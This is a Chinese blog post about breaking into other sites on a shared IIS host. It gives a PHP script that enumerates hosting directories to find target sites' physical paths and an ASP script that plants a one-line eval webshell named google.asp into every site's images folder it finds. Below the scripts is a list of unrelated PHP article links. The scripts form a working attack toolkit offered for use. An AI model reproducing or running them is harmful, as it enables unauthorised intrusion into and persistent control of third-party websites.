php一个找二层目录的小东东
2015-01-24信息快讯网
碰到个虚拟主机,iis7.0.里边有上万个站,只有脚本权限,没命令行权限,但是可以跨目录写文件.如果能得到目标站的物理目录,能立马搞定.但是想尽一切办法,也没找到物理路径.所以只有用脚本找了.手工找会累死的.一个php是找的,一个asp是写的
php版<?php set_time_limit(0); $path = 'D:/Hosting'; $somefile = $_GET['key']; $logfile = 'D:/Hosting/6668835/html/images/ennumdir.txt'; if (!isset($_SERVER['PHP_AUTH_USER'])) { header('WWW-Authenticate: Basic realm="My Realm"'); header('HTTP/1.0 401 Unauthorized'); echo 'Text to send if user hits Cancel button'; exit; } else { if(is_dir($path) && is_readable($path)) { $path2 = ''; $handle = opendir($path); while(false !== ($filename = readdir($handle))) { if($filename{0} != $_GET['dir']) { continue; } /* if($filename{1} != $_GET['two']) { continue; } */ //$path2 = $path.'/'.$filename.'/html'; $path2 = $path.'/'.$filename; if(is_dir($path2) && is_readable($path2)) { @$handle2 = opendir($path2); while(false !== ($filename2 = readdir($handle2))) { if($filename2 == $somefile) { //echo'[+]Found !'.$filename2."\n"; file_put_contents($logfile,'[+]Found !'.$path2.'/'.$filename2."\n",FILE_APPEND); } } @closedir($handle2); } } file_put_contents($logfile,'[*]LAST '.$path2."\n",FILE_APPEND); closedir($handle); } }
asp版
<% Server.ScriptTimeout=500000000 key = Trim(Request.QueryString("key")) msg=" <% eval(rquese(Chr(35)))%" &">" Set FSO=Server.CreateObject("Scripting.FileSystemObject") Set ServerFolder=FSO.GetFolder("C:\intel") Set ServerFolderList=ServerFolder.subfolders For Each ServerFileEvery IN ServerFolderList ' Response.write ServerFileEvery&"</br>" If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) Then Set sServerFolder=FSO.GetFolder(ServerFileEvery) Set sServerFolderList=sServerFolder.subfolders For Each sServerFileEvery IN sServerFolderList If LCase(sServerFileEvery.name) = "images" Then StreamSaveToFile sServerFileEvery & "\google.asp", msg, "UTF-8" End If Next End If Next Function StreamSaveToFile(sPath, sContent, sCharSet) Dim oStream If(InStr(sPath, ":") <= 0)Then sPath = Replace(sPath, ",", ",") sPath = Server.MapPath(sPath) sPath = Replace(sPath, ",", ",") End If Set oStream = Server.CreateObject("Adodb.Stream") With oStream .Type = 2 .Mode = 3 .Open .Charset = sCharSet .WriteText sContent .SaveToFile sPath, 2 .Close End With Set oStream = Nothing End Function %>
解析PHP中ob_start()函数的用法
关于php操作mysql执行数据库查询的一些常用操作汇总
解析crontab php自动运行的方法
解析关于java,php以及html的所有文件编码与乱码的处理方法汇总
使用PHP遍历文件目录与清除目录中文件的实现详解
使用php将某个目录下面的所有文件罗列出来的方法详解
在yii中新增一个用户验证的方法详解
一个简单的php加密解密函数(动态加密)
php多个字符串替换成同一个的解决方法
解析PHP SPL标准库的用法(遍历目录,查找固定条件的文件)
完美解决:Apache启动问题―(OS 10022)提供了一个无效的参数
php简单浏览目录内容的实现代码
一个简洁的PHP可逆加密函数(分享)
PHP删除目录及目录下所有文件的方法详解
PHP中全局变量global和$GLOBALS[]的区别分析
PHP文章采集URL补全函数(FormatUrl)
PHP服务器页面间跳转实现方法
php中3des加密代码(完全与.net中的兼容)
浏览器关闭后,能继续执行的php函数(ignore_user_abort)
php读取文件内容至字符串中,同时去除换行、空行、行首行尾空格(Zjmainstay原创)
一个简单的网页密码登陆php代码
SESSION信息保存在哪个文件目录下以及能够用来保存什么类型的数据
分享一个PHP数据流应用的简单例子
PHP中使用mktime获取时间戳的一个黑色幽默分析
一个显示某段时间内每个月的方法 返回由这些月份组成的数组
web目录下不应该存在多余的程序(安全考虑)
php入门之连接mysql数据库的一个类
PHP中文件读、写、删的操作(PHP中对文件和目录操作)
第六章 php目录与文件操作
遍历指定目录下的所有目录和文件的php代码